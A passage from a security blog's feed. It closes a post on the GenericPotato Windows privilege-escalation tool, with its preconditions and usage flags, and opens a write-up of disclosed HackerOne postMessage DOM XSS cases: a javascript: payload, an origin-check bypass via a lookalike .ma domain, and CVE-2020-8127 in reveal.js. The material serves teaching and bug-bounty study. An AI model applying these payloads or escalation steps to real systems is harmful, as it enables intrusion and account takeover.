&lt;h2 id=&quot;generic-potato&quot;&gt;&lt;a name=&quot;genericPotato&quot;&gt;&lt;/a&gt;Generic Potato&lt;/h2&gt;

&lt;p&gt;Wait, another potato? Yes. &lt;strong&gt;Generic Potato&lt;/strong&gt; is a modified version of SweetPotato by &lt;a href=&quot;https://twitter.com/micahvandeusen&quot;&gt;@micahvandeusen&lt;/a&gt; to support impersonating authentication over HTTP and/or named pipes.&lt;/p&gt;

&lt;p&gt;This allows for local privilege escalation from SSRF and/or file writes. It is handy when:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The user we have access to has &lt;strong&gt;SeImpersonatePrivilege&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;The system doesn’t have the print service running which prevents &lt;strong&gt;SweetPotato&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;WinRM is running preventing RogueWinRM&lt;/li&gt;
  &lt;li&gt;You don’t have outbound RPC allowed to any machine you control and the BITS service is disabled preventing &lt;strong&gt;RoguePotato&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;How do we abuse this? All we need is to cause an application or user with higher privileges to authenticate to us over HTTP or write to our named pipe. GenericPotato will steal the token and run a command for us as the user running the web server, probably system. More information ca be found &lt;a href=&quot;https://micahvandeusen.com/the-power-of-seimpersonation/&quot;&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;h4 id=&quot;exploitation-5&quot;&gt;Exploitation&lt;/h4&gt;

&lt;p&gt;Download the binary from the repository: &lt;a href=&quot;https://github.com/micahvandeusen/GenericPotato&quot;&gt;Here&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.\GenericPotato.exe

  -m, --method=VALUE         Auto,User,Thread (default Auto)
  -p, --prog=VALUE           Program to launch (default cmd.exe)
  -a, --args=VALUE           Arguments for program (default null)
  -e, --exploit=VALUE        Exploit mode [HTTP|NamedPipe(default)]
  -l, --port=VALUE           HTTP port to listen on (default 8888)
  -i, --host=VALUE           HTTP host to listen on (default 127.0.0.1)
  -h, --help                 Display this help
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

</description>
          <pubDate>2020-11-22T00:00:00+01:00</pubDate>
          <link>https://jlajara.gitlab.io/Potatoes_Windows_Privesc</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/Potatoes_Windows_Privesc</guid>
        </item>
      
    
      
        <item>
          <title>PostMessage Vulnerabilities. Part II</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;PostMessage Vulnerabilities. Part II&quot; /&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200717/0.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This is the second part of a two series of articles about &lt;em&gt;postMessage&lt;/em&gt; vulnerabilities. &lt;a href=&quot;https://jlajara.gitlab.io/web/2020/06/12/Dom_XSS_PostMessage.html&quot;&gt;The first&lt;/a&gt; part was an introduction to what is a postMessage, basic exploitation, detection and mitigation. This part is an analysis of real cases reported in Bug Bounty scenarios. Two disclossed Hackerone reports will be analyzed and a few tips to exploit/bypass postMessage Vulnerabilities will be shown.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#case1&quot;&gt;DOM Based XSS in www.hackerone.com via PostMessage and Bypass&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#case2&quot;&gt;CVE-2020-8127: XSS by calling arbitrary method via postMessage in reveal.js&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#tips&quot;&gt;Tips/Bypasses PostMessage vulnerabilities&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#writeups&quot;&gt;Recommended writeups&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;dom-based-xss-in-wwwhackeronecom-via-postmessage-and-bypass-398054-and-499030&quot;&gt;&lt;a name=&quot;case1&quot;&gt;&lt;/a&gt;DOM Based XSS in www.hackerone.com via PostMessage and Bypass (&lt;em&gt;#398054&lt;/em&gt; and &lt;em&gt;#499030&lt;/em&gt;)&lt;/h2&gt;

&lt;p&gt;In &lt;a href=&quot;https://hackerone.com/reports/398054&quot;&gt;#398054&lt;/a&gt; report, a Dom XSS is exploited in Hackerone through an insecure &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;message&lt;/code&gt; event listener in Marketo. The flow of the code could be seen in the following image:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200717/Diagram_1.png&quot; alt=&quot;Image Diagram 1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;According to the report, If there is no error set in the response, it creates a variable named &lt;strong&gt;u&lt;/strong&gt; and sets it to the return value of the &lt;em&gt;findCorrectFollowUpUrl&lt;/em&gt; method. This performs some processing on a property named &lt;em&gt;followUpUrl&lt;/em&gt; in the response object, which seemed to be a URL to redirect to after the form submission was complete.&lt;/p&gt;

&lt;p&gt;This was not used by the HackerOne form, but by setting it to an absolute URL, it was possible to control the value of the &lt;strong&gt;u&lt;/strong&gt; variable, which was later used to change the location.href of the window. When the following mktoResponse message was sent to the Hackerone window, the window was redirected to the JavaScript URI, and the code &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alert(document.domain)&lt;/code&gt; was executed.&lt;/p&gt;

&lt;p&gt;To exploit this vulnerability, the following snippet could be used:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200717/exploitation_1.png&quot; alt=&quot;Image Exploit 1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In the snippet there are three parts:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1.&lt;/strong&gt; PostMessage with the first JSON element as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mktoResponse&lt;/code&gt;, to invoke the function in:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;mktoResponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;onResponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;mktoResponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2.&lt;/strong&gt; Reaching this function, a JSON structure is needed with the following elements: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;for&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;error&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt;. If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;error&lt;/code&gt; is false, the function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;success&lt;/code&gt; will be called.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;requestId&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;mktoResponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;request&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;inflight&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;requestId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;mktoResponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;mktoResponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;mktoResponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;3.&lt;/strong&gt; In this function, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;followUpUrl&lt;/code&gt; value will be associated to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;u&lt;/code&gt;, and passed to location.href. Therefore, a payload with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;javascript:alert(document.domain)&lt;/code&gt; will trigger JavaScript execution.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;u&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;findCorrectFollowUpUrl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;href&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After that, Hackerone team changed the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OnMessage&lt;/code&gt; function to add an origin validation:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;originalEvent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;originalEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;indexOf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;originalEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;origin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;parseJSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;originalEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;mktoReady&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;mktoResponse&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;mktoResponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;the-bypass&quot;&gt;The Bypass&lt;a name=&quot;bypass&quot;&gt;&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/honoki&quot;&gt;@honoki&lt;/a&gt; reported a smart bypass in &lt;a href=&quot;https://hackerone.com/reports/499030&quot;&gt;#499030&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;i&lt;/code&gt; resolves to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://app-sj17.marketo.com/&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;indexOf&lt;/code&gt; checks if the origin &lt;strong&gt;is contained&lt;/strong&gt; in the string. Therefore registering a marcarian domain &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.ma&lt;/code&gt;, the validation will be bypassed:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https://app-sj17.marketo.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;indexOf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https://app-sj17.ma&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If the previous exploit is hosted in the registered domain &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://app-sj17.ma&lt;/code&gt;, the XSS will be executed.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;cve-2020-8127-xss-by-calling-arbitrary-method-via-postmessage-in-revealjs-691977&quot;&gt;&lt;a name=&quot;case2&quot;&gt;&lt;/a&gt;CVE-2020-8127: XSS by calling arbitrary method via postMessage in reveal.js (&lt;em&gt;#691977&lt;/em&gt;)&lt;/h2&gt;

&lt;p&gt;In &lt;a href=&quot;https://hackerone.com/reports/691977&quot;&gt;#691977&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/amlnspqr&quot;&gt;@s_p_q_r&lt;/a&gt; reported a DOM XSS exploited via PostMessage. The flow of the code could be seen in the following image:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200717/Diagram_2.png&quot; alt=&quot;Image Diagram 2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;First, the &lt;strong&gt;setupPostMessage&lt;/strong&gt; is invoked with the method &lt;strong&gt;addKeyBinding&lt;/strong&gt; to define a JSON element with the malicious payload. After that, the function &lt;strong&gt;showHelp()&lt;/strong&gt; is called to render in the browser the malicios payload defined in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;registeredKeyBindings[binding].description&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;To exploit this vulnerability, the following snippet could be used:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200717/exploitation_2.png&quot; alt=&quot;Image Exploit 2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In the snippet there are three parts:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1.&lt;/strong&gt; PostMessage with the first JSON element as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;method&quot; : &quot;addKeyBinding&quot;&lt;/code&gt;, to call the method and apply the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;args&lt;/code&gt;:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;method&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Reveal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;Reveal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;apply&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Reveal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2.&lt;/strong&gt; Reaching the function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;addKeyBinding&lt;/code&gt; with the arguments &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;args&lt;/code&gt;, allows the construction of a JSON object with the value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;callback&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;key&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;description&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;addKeyBinding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;binding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;callback&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;binding&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;binding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;keyCode&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;registeredKeyBindings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;binding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;keyCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;binding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;binding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;description&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;3.&lt;/strong&gt; The function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;toggleHelp()&lt;/code&gt; is invoked because renders the content of the previous JSON without validation, triggering the JavaScript execution.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;showHelp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;binding&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;registeredKeyBindings&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
